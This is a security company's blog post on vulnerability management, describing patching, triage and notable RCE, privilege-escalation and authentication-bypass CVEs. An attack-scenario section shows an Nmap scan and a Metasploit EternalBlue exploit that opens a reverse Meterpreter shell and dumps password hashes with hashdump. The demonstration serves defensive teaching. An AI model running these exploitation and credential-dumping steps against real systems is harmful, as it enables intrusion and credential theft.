

SecCore Essentials - Vulnerability Management

 seccore.at/blog/vulnerability-management

Benjamin Floriani, Patrick Pongratz

September 29, 2025



Summary

This SecCore Essential addresses simple vulnerability management principles that should be implemented. It is considered implemented if the following conditions are met:

- A vulnerability management solution with regular scans is implemented
- Regular triage of important vulnerabilities is conducted
- Processes for addressing and fixing security vulnerabilities are in place

Introduction

Known vulnerabilities can easily be exploited by an attacker. Oftentimes, code for exploiting those vulnerabilities can be found on sites such as GitHub¹, accessible to everyone. But even if no public exploit is available, threat actors sell and share malicious code in Telegram or other private (invite-only) channels. Keeping up to date with security patches is considered one of the most important aspects of vulnerability management, but there are other things to consider. Just installing patches is not always possible or feasible, which makes other means of securing affected systems necessary. For example, [network segmentation](#) can be used to shield vulnerable systems from the rest of the network.

There also needs to be a process in place for prioritizing vulnerabilities. Most security tools use a vulnerability scoring system such as CVSS² that is not always reflecting the real

impact of a vulnerability. There is also nuance to vulnerabilities with a score of 10.0 (the highest score possible in CVSS), which makes an internal triage and prioritization process just as important as the scoring itself. It is therefore good practice to continually and manually review the output of a vulnerability management system, as well as conducting [penetration tests](#) for evaluating the real impact and current standing.

Common Attack Vectors

This section describes commonly seen impact of high to critical vulnerabilities.

Remote Code Execution

A remote code execution (RCE) vulnerability allows an attacker to run arbitrary commands on the target system. Almost all vulnerabilities with a score of 10.0 fall in this category, as they have a critical impact on the target. Some notable examples include:

MS17-010³

MS17-010, also known as EternalBlue is an RCE vulnerability in [Microsoft Windows SMBv1](#) that allows an attacker to remotely control an affected Windows system without any user interaction. It was developed by the "Equation Group" and leaked by a hacker collective known as "The Shadow Brokers"⁴. It was most notably exploited in the WannaCry ransomware campaign, where it affected hundreds of thousands of computers all around the world. Multiple public exploits exist and an easy-to-use variant can be found in the Metasploit Framework⁵.

CVE-2023-48788⁶

This vulnerability in Fortinet FortiClient EMS starts as an SQL Injection, where an attacker can insert database statements such as "delete a table" or "show all passwords" into an application. However, since this software uses Microsoft SQL Server as a database, it is also possible to execute arbitrary code via the "xp_cmdshell" statement of an MSSQL server.

It was commonly exploited by the **Medusa** Ransomware variant⁷, where it was used as an [Initial Access Vector](#) for deploying malware and remote control tools.

More technical information can be found in this article from horizon3.ai⁸.

Privilege Escalation

Privilege escalation vulnerabilities allow an attacker to gain more privileges on a target system. It usually needs to be paired with remote code execution or phishing (malware infection) as an initial access vector first, since exploitation of such a vulnerability has to be

done locally. If successful, an attacker gains administrative or root privileges on the target, fully compromising the system.

CVE-2024-1086⁹

The netfilter subsystem in Linux kernels from 5.14 to 6.6 is affected by a privilege escalation vulnerability (CVE-2024-1086). A use-after-free¹⁰ condition can be exploited to run code with elevated privileges. This means, that the software tried to access something in the memory that was already deleted. An attacker however can quickly overwrite this memory section before the software tries to access it, leading to the the software executing malicious code. Since netfilter runs with the highest possible privileges on a Linux system, this malicious code inherits it, giving an attacker the highest possible permissions on the system. A very detailed blogpost was written by the discoverer of the exploit¹¹.

Authentication Bypass

Attackers can gain unauthorized access to systems with an authentication bypass vulnerability. These types of vulnerabilities simply allow access to resources or systems that should not be accessible. This can lead to various degrees of critical impact, ranging from simple information disclosure to possible remote code execution if access to an internal or administrative interface is gained.

CVE-2017-12542¹²

This vulnerability affects the HPE integrated Lights Out (iLO) server management system before version 2.54. The HTTP authentication mechanism is vulnerable to a buffer overflow¹³ attack, so just sending a long enough "Connection" header overwrites a crucial memory section and allows an attacker to bypass the login. This can be exploited by adding another administrator user, which in turns leads to an attacker having compromised the whole server system. As HPE iLO is a server management interface, it is possible to open a remote console to the installed operating system and easily compromise the main server.

Attack Scenario

This section demonstrates how attackers exploit out of date software with known vulnerabilities, to breach the internal network. The setup of this attack scenario is as follows:

- The attacker has a foothold in the internal network with user credentials
- [Network segmentation](#) is not properly configured
- The attacker has no considerations regarding OPSEC, the most straightforward approach is used

Since the attacker already has a foothold in the network, they can start by scanning the internal network for vulnerable systems. This can be done with a port scanner such as **Nmap**¹⁴:

```
bf@DESKTOP-K7TUEGS ~-> nmap -A 192.168.30.139
Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-12 07:58 CEST
Nmap scan report for 192.168.30.139
Host is up (0.057s latency).
Not shown: 992 closed ports
PORT      STATE SERVICE          VERSION
135/tcp    open  msrpc            Microsoft Windows RPC
139/tcp    open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds    Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49152/tcp  open  msrpc            Microsoft Windows RPC
49153/tcp  open  msrpc            Microsoft Windows RPC
49154/tcp  open  msrpc            Microsoft Windows RPC
49155/tcp  open  msrpc            Microsoft Windows RPC
49156/tcp  open  msrpc            Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
```

As it can be seen in the screenshot, a system which is running Windows Server 2012 R2 was found. As the next step, the system can be analyzed for known vulnerabilities, such as EternalBlue³. This can for example be done with the Metasploit Framework⁵, which also offers an exploit¹⁵ for this vulnerability:

```
msf exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.30.139
RHOSTS => 192.168.30.139
msf exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 192.168.30.130:4444
[*] 192.168.30.139:445 - Authenticating to 192.168.30.139 as user 'clientuser1'...
[*] 192.168.30.139:445 - Target OS: Windows Server 2012 R2 Standard 9600
[*] 192.168.30.139:445 - Built a write-what-where primitive...
[+] 192.168.30.139:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.30.139:445 - Selecting PowerShell target
[*] 192.168.30.139:445 - Executing the payload...
[+] 192.168.30.139:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (177734 bytes) to 192.168.30.139
[*] Meterpreter session 2 opened (192.168.30.130:4444 -> 192.168.30.139:49281) at 2025-09-12 08:11:42 +0200

meterpreter > |
```

After successfully exploiting the vulnerability, a meterpreter¹⁶ session as NT AUTHORITY\SYSTEM on the target system was established. As the next step, all password hashes of the local users can be dumped with the *hashdump* command:

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee: :...
Guest:501:aad3b435b51404eeaad3b435b51404ee: :...
meterpreter > |
```

This fully compromised the target system, as the attacker now has access to all local user credentials and may find additional pivot points into the internal network.

Mitigation

To mitigate the risks associated with the vulnerabilities discussed in this blog post, organizations should take the following steps:

- Regularly update and patch all software and systems to protect against known vulnerabilities.
- Implement [network segmentation](#) and access controls to limit the potential impact of a successful attack.